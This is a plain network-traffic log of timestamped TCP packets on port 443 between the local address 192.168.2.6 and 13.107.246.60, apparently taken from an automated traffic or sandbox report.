Oct 7, 2024 03:16:30.468926907 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.468935966 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.468955040 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.468960047 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.472700119 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.472735882 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.472820997 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.473050117 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.473067045 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.477458954 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.477844000 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.477855921 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.478228092 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.478231907 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.557387114 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.558202028 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.558233976 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.558573008 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.558579922 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.561741114 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.562684059 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.562706947 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.563050032 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.563056946 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.571726084 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.572242975 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.572251081 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.572844982 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.572849989 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.577490091 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.577887058 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.577970028 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.578011036 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.578023911 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.578035116 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.578039885 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.581541061 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.581597090 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.581705093 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.581907988 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.581927061 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.657334089 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.657392025 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.657464981 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.657481909 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.657502890 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.657566071 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.657852888 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.657866955 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.661220074 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.661355972 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.661427021 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.662358046 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.662386894 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.662455082 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.662625074 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.662638903 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.662651062 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.662656069 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.663491964 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.663502932 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.666004896 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.666013956 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.666083097 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.666254997 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.666265011 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.676120043 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.676197052 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.676251888 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.676261902 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.676331997 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.676382065 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.676522017 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.676526070 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.676536083 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.676538944 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.679356098 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.679428101 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.679534912 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.679666042 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.679683924 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.123792887 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.124795914 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.124818087 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.125416994 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.125428915 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.222496986 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.222652912 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.222820997 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.222929955 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.222944975 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.222959042 CEST	49851	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.222965002 CEST	443	49851	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.226476908 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.226506948 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.226605892 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.226759911 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.226773977 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.250587940 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.251694918 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.251759052 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.252357960 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.252377033 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.312796116 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.313507080 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.313535929 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.314013004 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.314022064 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.315258026 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.315644026 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.315689087 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.316052914 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.316065073 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.337497950 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.337938070 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.337948084 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.338294983 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.338300943 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.353212118 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.353426933 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.353516102 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.353607893 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.353607893 CEST	49852	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.353641033 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.353668928 CEST	443	49852	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.357114077 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.357127905 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.357213020 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.357378006 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.357388020 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.414247036 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.414437056 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.414540052 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.414561033 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.414582014 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.414644003 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.414990902 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.415004969 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.415018082 CEST	49854	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.415024042 CEST	443	49854	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.416979074 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.417151928 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.417229891 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.417292118 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.417292118 CEST	49855	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.417329073 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.417355061 CEST	443	49855	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.418670893 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.418699980 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.418791056 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.418910027 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.418919086 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.419929981 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.419960022 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.420032978 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.420231104 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.420247078 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.440087080 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.440237999 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.440428019 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.440463066 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.440478086 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.440493107 CEST	49853	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.440498114 CEST	443	49853	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.443511009 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.443591118 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.443696976 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.443896055 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.443929911 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.896135092 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.896718979 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.896735907 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:31.897495985 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:31.897505045 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.002142906 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.002224922 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.002285957 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.002300978 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.002337933 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.002402067 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.002516985 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.002530098 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.002542973 CEST	49856	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.002548933 CEST	443	49856	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.002938986 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.003834009 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.003864050 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.004722118 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.004728079 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.006807089 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.006851912 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.006933928 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.007059097 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.007072926 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.060923100 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.061600924 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.061610937 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.062107086 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.062113047 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.100677967 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.100914001 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.101012945 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.101149082 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.101155043 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.101170063 CEST	49857	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.101174116 CEST	443	49857	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.101264000 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.101733923 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.101758003 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.102639914 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.102647066 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.105101109 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.105123043 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.105218887 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.105362892 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.105376005 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.110280037 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.110621929 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.110660076 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.111181974 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.111193895 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.158282042 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.158447027 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.158523083 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.158715010 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.158719063 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.158741951 CEST	49858	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.158745050 CEST	443	49858	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.162091970 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.162139893 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.162237883 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.162374020 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.162400961 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.204263926 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.204380989 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.204461098 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.204688072 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.204750061 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.204785109 CEST	49859	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.204802036 CEST	443	49859	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.207859993 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.207937002 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.208036900 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.208164930 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.208195925 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.213226080 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.213366985 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.213407040 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.213428020 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.213479996 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.213517904 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.213517904 CEST	49860	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.213555098 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.213579893 CEST	443	49860	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.215874910 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.215903044 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.215991974 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.216110945 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.216124058 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.644232988 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.652081966 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.652096987 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.652791023 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.652797937 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.747658968 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.747807980 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.747873068 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.747994900 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.748018026 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.748029947 CEST	49861	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.748037100 CEST	443	49861	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.751991987 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.752068043 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.752150059 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.752305031 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.752341032 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.757356882 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.757847071 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.757854939 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.758548975 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.758553028 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.801652908 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.803282976 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.803309917 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.803776026 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.803787947 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.849320889 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.862304926 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.862391949 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.862454891 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.862467051 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.862503052 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.862555981 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.874994993 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.884068012 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.884102106 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.884562016 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.884577036 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.885011911 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.885027885 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.885040045 CEST	49862	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.885049105 CEST	443	49862	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.886939049 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.886955023 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.887341976 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.887346029 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.899620056 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.899802923 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.899879932 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.899879932 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.899934053 CEST	49863	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.899952888 CEST	443	49863	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.980269909 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.980496883 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.980587959 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:32.990801096 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.990864038 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:32.990920067 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.006813049 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.006872892 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.006961107 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.015836954 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.015871048 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.015898943 CEST	49864	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.015912056 CEST	443	49864	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.016669035 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.016669035 CEST	49865	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.016732931 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.016760111 CEST	443	49865	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.018709898 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.018738985 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.021955967 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.022001028 CEST	443	49868	13.107.246.60	192.168.2.6
